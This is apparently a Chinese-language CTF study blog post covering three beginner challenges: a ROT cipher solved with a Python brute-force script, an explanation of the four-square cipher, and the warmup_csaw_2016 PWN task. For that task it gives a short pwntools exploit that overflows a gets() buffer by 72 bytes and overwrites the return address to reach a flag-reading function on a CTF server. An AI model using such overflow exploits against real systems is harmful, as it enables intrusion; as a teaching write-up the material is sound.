CTF学习记录(简单)

0x01 Crypto

ROT

题目链接:点击获取

思路

首先,需要了解什么是ROT。ROT是一种简单的替换算法,这种算法的主要加密方法是将所有明文密码同时左移或者右移某一长度,常见的是ROT13。ROT可以在二十六个字母之间替换,也可以在所有可见字符替换,如果没有指明是什么替换的话,全部试一遍也许是个不错的选择,运算量也不大。恺撒加密可以是为ROT的一种。

解密代码

import hashlib

cipher = [83, 89, 78, 84, 45, 86, 96, 45, 115, 121, 110, 116, 136, 132, 132, 132, 108, 128, 117, 118, 134, 110, 123,
          111, 110, 127, 108, 112, 124, 122, 108, 118, 128, 108, 131, 114, 127, 134, 108, 116, 124, 124, 113, 108, 76,
          76, 76, 76, 138, 23, 90, 81, 66, 71, 64, 69, 114, 65, 112, 64, 66, 63, 69, 61, 70, 114, 62, 66, 61, 62, 69,
          67, 70, 63, 61, 110, 110, 112, 64, 68, 62, 70, 61, 112, 111, 112]

def check():
    flag = "flag{www_shiyanbar_com_is_very_good_"
    # print hashlib.md5(flag).hexdigest()
    for a in range(32, 127):
        for b in range(32, 127):
            for c in range(32, 127):
                for d in range(32, 127):
                    print flag + chr(a) + chr(b) + chr(c) + chr(d) + "}"
                    if str(hashlib.md5(flag + chr(a) + chr(b) + chr(c) + chr(
                            d) + "}").hexdigest()) == "38e4c352809e150186920aac37190cbc":
                        print flag + chr(a) + chr(b) + chr(c) + chr(d)
                        return
if __name__ == '__main__':
    for j in range(16):
        flag = ""
        for i in cipher:
            flag += chr(i - j)
        print flag
    check()

flag

本来以为flag后面都是小写字母,所以一开始只跑了小写字母,跑了半天跑不出来,扩大范围后成功搞定:

img

四面八方

题目链接:点击获取

思路

来自题目的提示,四面八方,提示四方密码。四方密码是一种对称式加密法,由法国人Felix Delastelle(1840年–1902年)发明。 这种方法将字母两个一组,然后采用多字母替换密码。首先选择两个英文字作密匙,例如example和keyword。对于每一个密匙,将重复出现的字母去除,即example要转成exampl,然后将每个字母顺序放入矩阵,再将余下的字母顺序放入矩阵,便得出加密矩阵。
将这两个加密矩阵放在右上角和左下角,余下的两个角放a到z顺序的矩阵:
加密的步骤:

  1. 两个字母一组地分开讯息:(例如hello world变成he ll ow or ld);
  2. 找出第一个字母在左上角矩阵的位置;
  3. 同样道理,找第二个字母在右下角矩阵的位置;
  4. 找右上角矩阵中,和第一个字母同行,第二个字母同列的字母;
  5. 找左下角矩阵中,和第一个字母同列,第二个字母同行的字母;
  6. 得到的这两个字母就是加密过的讯息。
  7. he lp me ob iw an ke no bi的加密结果:FY NF NE HW BX AF FO KH MD

flag

自己动手画

0x02 PWN

warmup_csaw_2016

题目链接:点击获取

思路

IDA打开之后,可以看到:

可以看到危险函数gets,常见的危险函数还有strcpy,strcat,sprintf。这些函数可以造成缓冲区溢出。简单的说,我们需要用数据填充缓冲区,覆盖返回地址,这样我们就可以控制代码执行。在这个程序中,存在一个构造好的函数,用于读取flag。

这个地址也被输给我们了,所以我们只要确定到底要覆盖多长就行了。开启pwn-dbg调试。

我们可以用python的pwn模块下的cyclic函数构造一个比较长的字符串并输入,可以发现:

可以发现长度为72

代码

import pwn
#p = pwn.process('./warmup_csaw_2016')
p = pwn.remote('node3.buuoj.cn',26272)
elf = pwn.ELF('./warmup_csaw_2016')
assdr = 0x40060d
pwn.context.log_level = 'DEBUG'
pwn.context(arch='amd64', os='linux')
shellcode = 'a'*72+pwn.p64(assdr)
p.sendline(shellcode)
p.interactive()#

猜你喜欢

转载自www.cnblogs.com/pw1scn/p/12483896.html
今日推荐